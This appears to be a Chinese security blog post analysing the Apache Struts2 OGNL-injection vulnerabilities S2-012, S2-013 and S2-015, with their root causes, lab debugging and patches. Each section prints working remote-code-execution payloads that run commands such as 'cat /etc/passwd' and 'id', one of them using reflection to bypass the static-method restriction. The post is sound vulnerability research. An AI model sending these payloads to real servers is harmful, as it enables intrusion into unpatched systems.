[旧文系列] Struts2历史高危漏洞系列-part3：S2-012/S2-013/S2-015

最新推荐文章于 2023-03-29 14:10:35 发布
最新推荐文章于 2023-03-29 14:10:35 发布
阅读量1k 收藏 1
点赞数 1
文章标签： struts java web安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mole_exp/article/details/122554500
版权

文章目录

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章，挑选其中一些值得保留的，迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间：2021-08-31

前言

尽管现在struts2用的越来越少了，但对于漏洞研究人员来说，感兴趣的是漏洞的成因和漏洞的修复方式，因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架，无论对涉及到的框架知识，还是对过去多年出现的高危漏洞的原理进行学习，都会对之后学习和审计其他同类框架很有帮助。

传送门：
[旧文系列] Struts2历史高危漏洞系列-part1：S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009

S2-012

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-012

影响版本：Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

从漏洞公告中获悉漏洞会出现的场景：如果一个Action定义了一个变量比如uname，当触发了redirect类型的返回时，如果重定向的url后面带有?uname=${uname}，则在这个过程中会对uname参数的值进行OGNL表达式计算。

下面用vulhub/struts2/s2-012中的应用进行调试分析。

该应用中定义了UserAction，并配置了redirect类型的返回，重定向的地址url为：/index.jsp?name=${name}，如下图：
在这里插入图片描述
从漏洞公告中可获悉，漏洞是发生在返回阶段。根据Struts2/XWork的运行主线的可知，ActionInvocation在调度完Action对象后，便会去调度Result对象，如下图：
在这里插入图片描述

关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》

所以，我们可以在Struts2的核心调度对象DefaultActionInvocation中开始调度Result处下断点，如下图：
在这里插入图片描述
继续调试，在StrutsResultSupport#conditionalParse()方法中，出现了一个熟悉的身影：TextParseUtil#translateVariables()，没错，这个方法在S2-001的漏洞触发执行栈中出现过。
在这里插入图片描述
可是S2-001漏洞不是早就被修复了吗，为什么还能通过TextParseUtil#translateVariables()去触发漏洞？

经调试发现，这里与S2-001还是稍有不同，这里调用的是TextParseUtil的一个重载方法，其中，第一个参数是一个char数组。而且如下图可以看到这里传入了包含两个元素的char数组，这就是S2-012为什么可以用S2-001的PoC直接打的关键，继续往下看。
在这里插入图片描述
在这里插入图片描述
可以看到，这里的while(true)循环被放置到一个for循环里了，且for循环的次数由char数组openChars的长度决定，而这里传入的openChars的长度为2,两个元素分别为$和%字符。所以下面的while(true)循环会循环两次，第一次是解析${name}，解析得到结果后，继续对结果%{xxx}进行解析。因此使得S2-001漏洞重现了。(是不是感觉挺有意思的)

可回显PoC

综上，这里可以直接用S2-001的PoC执行任意命令：

%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}

在这里插入图片描述
如果要使用Runtime#exec()方法来执行命令也可以，不过要添加#_memberAccess.allowStaticMethodAccess=true。前面使用ProcessBuilder#start()，由于不需要调用静态方法，所以无需先将SecurityMemberAccess的allowStaticMethodAccess改为true。

%{#_memberAccess.allowStaticMethodAccess=true,
#a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}

在这里插入图片描述

漏洞修复

通过比对代码，发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里，将位置索引值pos的初始化移到了for循环之前。这样修改，使得第一次OGNL表达式计算后，起始位置pos的值会更新，而不会重新置0，从而避免了二次计算OGNL表达式。
在这里插入图片描述

S2-013

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-013

影响版本：Struts 2.0.0 - Struts 2.3.14.1

漏洞复现与分析

从漏洞公告中可获悉漏洞出现在<s:url>和<s:a>标签中的includeParams属性。

includeParams属性接收三个值：

  • none：表示url中不包含参数(默认就是none)。
  • get：表示url中只包含GET参数。
  • all：表示url中既包括GET参数也包括POST参数。

当<s:url>和<s:a>标签指定了includeParams属性为get或all时，Struts2在处理url的参数时会进行两次OGNL表达式计算，从而导致注入的Java代码执行。

其实这个漏洞和S2-001是类似的，只是这次漏洞时出现在<s:url>和<s:a>标签的处理过程中而已。

下面使用Struts 2.3.14.1自带的示例程序struts-blank来调试分析。运行应用之前得修改一下首页index.jsp，在<s:url>和<s:a>标签中添加includeParams="all"，如下图：
在这里插入图片描述
跟之前S2-001一样，找到<s:url>对应的类URLTag，在doEndTag()方法中下断点进行调试。

在关键的地方，即执行OGNL表达式计算的类和方法，比如OgnlValueStack#findValue()下断点，一路跟下去，发现在处理url参数的过程中，DefaultUrlHelper#buildParameterSubstring()会调用TextParseUtil#translateVariables()，如下图：
在这里插入图片描述
在这里插入图片描述
后面的漏洞触发流程就跟S2-012一样了。所以这个漏洞其实没什么值得说道的地方，因为跟之前出现的漏洞类似。

可回显PoC

/xxx.action?fakeParam=
%{#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#is=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()}

在这里插入图片描述

漏洞修复

在Struts2的2.3.14.2版本中，DefaultUrlHelper#buildParameterSubstring()没有再调用TextParseUtil.translateVariables()对参数进行处理了。如下图：
在这里插入图片描述

S2-015

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-015

影响版本：Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

S2-015实际上包括两处漏洞：

  • Wildcard matching：通配符匹配导致的RCE
  • Double evaluation of an expression：OGNL表达式二次求值导致的RCE

下面使用vulhub/s2-015对该漏洞进行进行调试分析。

Vuln-1: Wildcard matching

在struts.xml配置文件中定义了通配符*访问规则，如下图：
在这里插入图片描述
假设请求的url中action名为xxxx，不匹配param，而是匹配通配符*，最终返回/xxxx.jsp页面，如果xxxx.jsp页面存在，则返回页面内容，如果不存在，则返回404报错页面，报错信息中包含有/S2-015/xxxx.jsp。

而如果请求的action名是一个OGNL表达式，则会进行计算。最简单的PoC，传入一个${2+3}.action，会发现被进行OGNL表达式计算，然后结果回显在404报错页面中，如下图：
在这里插入图片描述
从现象来看，OGNL表达式的计算也是在调度Result对象时发生的。因此，与S2-012一样，调试时可在DefaultActionInvocation开始调度Result对象时下断点，以及在OGNL表达式计算的关键方法比如OgnlValueStack#findValue()处下断点。

调试过后发现，这个漏洞触发的方法调用栈，跟S2-012是几乎一样的(不同版本代码略有差异)。它会把<result>标签指定的页面地址作为参数，传入TextParseUtil.translateVariables()进行处理，最终会进入一个OGNL执行器ParsedValueEvaluator里进行OGNL表达式计算。
在这里插入图片描述
在这里插入图片描述

Vuln-1 可回显PoC

在Struts2 2.3.14.2版本的SecurityMemberAccess类中，删除了setAllowStaticMethodAccess()，所以我们在构造PoC的时候就不能通过#_memberAccess['allowStaticMethodAccess']=true的方式去获取调用静态方法的能力，但可以通过反射的方式去修改该属性。另外，还可以像前面S2-001里用过的，使用ProcessBuilder#start()方法来执行系统命令，因为这种方式不需要调用静态方法。

这里使用反射修改allowStaticMethodAccess属性的方式，如下：

/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23a=@java.lang.Runtime@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action

在这里插入图片描述
这里换一种方式来处理命令执行的结果：使用项目依赖包commons-io里的IOUtils#toString()方法。使用这个方法的好处是，它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。

%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.action

在这里插入图片描述

Vuln-2：Double evaluation of an expression

有ParamAction定义如下图，在该action中定义了message属性以及set/get方法。在struts.xml中还定义了success返回时的方式，使用了${message}去引用message属性的值。
在这里插入图片描述
在这里插入图片描述
其实这个漏洞本质上与S2-012是一样的，也是在定义Result的行为时，引用了Action的属性值，而Struts2在调度Result对象的过程中，会对Action的属性引用值进行二次OGNL表达式计算，从而导致可RCE。

因为是result的类型是httpheader，所以实际调度的Result对象其实是HttpHeaderResult对象。
在这里插入图片描述
然后在HttpHeaderResult#execute()方法中，会将参数fxxk的值${message}传入TextParseUtil#translateVariables()进行OGNL表达式求值，后面的方法调用栈就和S2-012一样了，就不再详细说了：第一次先计算${message}，得到我们传入的OGNL表达式%{xxxyyyzzz...}。第二次则计算%{xxxyyyzzz...}并得到结果，并在响应头fxxk中显示。
在这里插入图片描述

Vuln-2 可回显PoC

在这里插入图片描述

漏洞修复

针对 Vuln-1：Wildcard matching 的漏洞修复

通过正则表达式对action名进行了校验，将不在白名单里的字符给去掉。新版本的关键修复代码如下图：
在这里插入图片描述
在这里插入图片描述

针对 Vuln-2：Double evaluation of an expression 的漏洞修复

通过比对代码，发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里，将位置索引值pos的初始化移到了for循环之前。这样修改，使得第一次OGNL表达式计算后，起始位置pos的值会更新，而不会重新置0，从而避免了二次计算OGNL表达式。
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕：深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

xc8qanAFenlka@x1
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-013)复现
weixin_42079912的博客
08-09 479
S2-013漏洞原理：struts2的标签中 < s:a > 和 < s:url > 都有一个 includeParams 属性，可以设置成值none或get或all ，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。此时< s:a > 或< s:url >尝试去解析原始请求参数时，会导致OG...
K8_Struts2.3.1.4 s2-013 0day利用工具+动画
05-23
关于2010那洞 我就不说了 2011那个也不说了 (这两成功率 还是顶高的) s2-013 实战 鸡肋 (要不然这工具也不会丢出来了 最好你自己打个环境来测一下 免得你以为工具不能用) 触发条件 1 s2 架构 2 使用了s2的 a标签 3 includeParams=all <s:a includeParams="all">k8team</s:a> 在ie下看到的a标签 和普通html没啥区别 在firefox下会看到 使用了s2 a标签的链接源码是这样的 *.jsp;jsessionid inurl: *.jsp;jsessionid 能不能搞到 纯属看你人品了
S2-013 远程代码执行漏洞检测与利用
Fly_鹏程万里
12-16 2438
前言 S2-014是对于S2-013修复不完整的造成的漏洞，会在漏洞分析中提到，所以文本的主要分析的还是S2-013 而且在分析的时候，发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的：） 漏洞环境根据vulhub修改而来，环境地址 https://github.com/kingkaki/Struts2-Vulenv，感兴趣的师傅可以一起分析下 若有疏漏，还望多多指...
S2-012 远程代码执行漏洞检测与利用
Fly_鹏程万里
12-14 2944
前言 漏洞环境改自vulhub的，环境地址 https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-012 漏洞信息 https://cwiki.apache.org/confluence/display/WW/S2-012 当发生重定向时，OGNL表达式会进行二次评估，导致之前在S2-003、S2-005、S2-009进...
java struts2 漏洞复现合集
whatday的专栏
08-31 3337
目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架，会对某些标签属性（比如 i
s2-013远程代码执行漏洞
Stephen Wolf
11-18 846
一、漏洞描述 struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下： 1. none - 链接不包含请求的任意参数值（默认） 2. get - 链接只包含 GET 请求中的参数和其值 3. all - 链接包含 GET 和 POST 所有参数和其值...
修复struts2的安全漏洞(编号S2-045、S2-046)
07-18
给还用struts2框架的系统提供一个完美的解决方案，里面的struts2版本jar都统一好，大家在用的时候直接将对应的jar先删除，然后用这里面的jar包。必免jar冲突了
struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017
08-28
struts2.0反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017等漏洞解决方案，已升级可用
Struts2远程代码执行漏洞分析（S2-013）1
08-08
Struts2远程代码执行漏洞分析（S2-013）1
struts-2.3.24-apps.zip包测试Struts2 S2-048高危漏洞
09-08
2017年7月7日，Apache Struts发布最新的安全公告，Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为：2.3.x。 攻击者可以构造恶意的字段值...
struts2漏洞s2-045，不升级jar版本的修补方法，已验证.docx
07-04
0、这是一个简单、暴力、治根的补漏方法 1、struts2漏洞s2-045，不升级jar版本的修补方法，已验证
s2-012远程代码执行漏洞
Stephen Wolf
11-18 842
一、漏洞描述： 如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量 xml <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> ...
Struts2 漏洞集合
kali_Ma的博客
01-21 7383
Struts2 漏洞集合 总结了一部分 Strtus2 漏洞，虽然现在这部分的漏洞很少了，但也是学习的一部分，收集的并不全面，后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ，或者使用docker部署 S2-001 （CVE-2007-4556） 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用
08#墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现
shy的博客
11-25 1117
墨者学习 By/shy014 背景介绍 某日，安全工程师"墨者"对一单位业务系统进行授权扫描，在扫描过程中，发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞，...
struts2漏洞
qq_52527336的博客
06-30 9325
记一下笔记一个个写吧
struts漏洞总结
Fiverya的博客
01-17 2461
struts2漏洞，从S2-001到 S2-061，嘿嘿。
墨者学院-Apache Struts2远程代码执行漏洞(S2-013)复现
JimWu的博客
09-04 1817
Apache Struts2远程代码执行漏洞(S2-013)复现 难易程度:★ 题目类型:命令执行 使用工具:FireFox浏览器、burpsuite 漏洞原理: s:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为：none-在URL中不包含任何参数（默认），get-仅在URL...
Struts2最全面的远程命令执行漏洞梳理
LuoOpening的博客
03-29 685
OGNL的全称是对象图导航语言（ Object-Graph Navigation Language），它是一种用于获取和设置 Java对象属性的开源表达式语言，以及其他附加功能，是Struts2的默认表达式语言。使用这种表达式语言，可以利用表达式语法树规则，存储Java对象的任意属性，调用Java对象的方法，同时能够自动实现期望的类型转换。OGNL最初是作为一种使用属性名称在UI组件和控制器之间建立关联的方法。
Struts2漏洞分析与复现合集
未完成的歌~的博客
08-22 5905
原理：该漏洞因用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析，然后重新填充到对应的表单数据中。如注册或登录页面，提交失败后一般会默认返回之前提交的数据，由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析，所以可以直接构造 Payload进行命令执行。 漏洞环境搭建 https://github.com/vulhub/vulhub/tree/master/struts2/s2-001 运行以下命令进行设置 .............
apache struts2框架命令执行漏洞(s2-045、s2-046)
最新发布
01-11
Apache Struts2框架是一种流行的开源Web应用程序开发框架，但曾经发生过多个命令执行漏洞，其中包括s2-045和s2-046漏洞。 s2-045漏洞源于在处理远程表达式语言（OGNL）时存在安全漏洞，攻击者可以利用构造特定的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值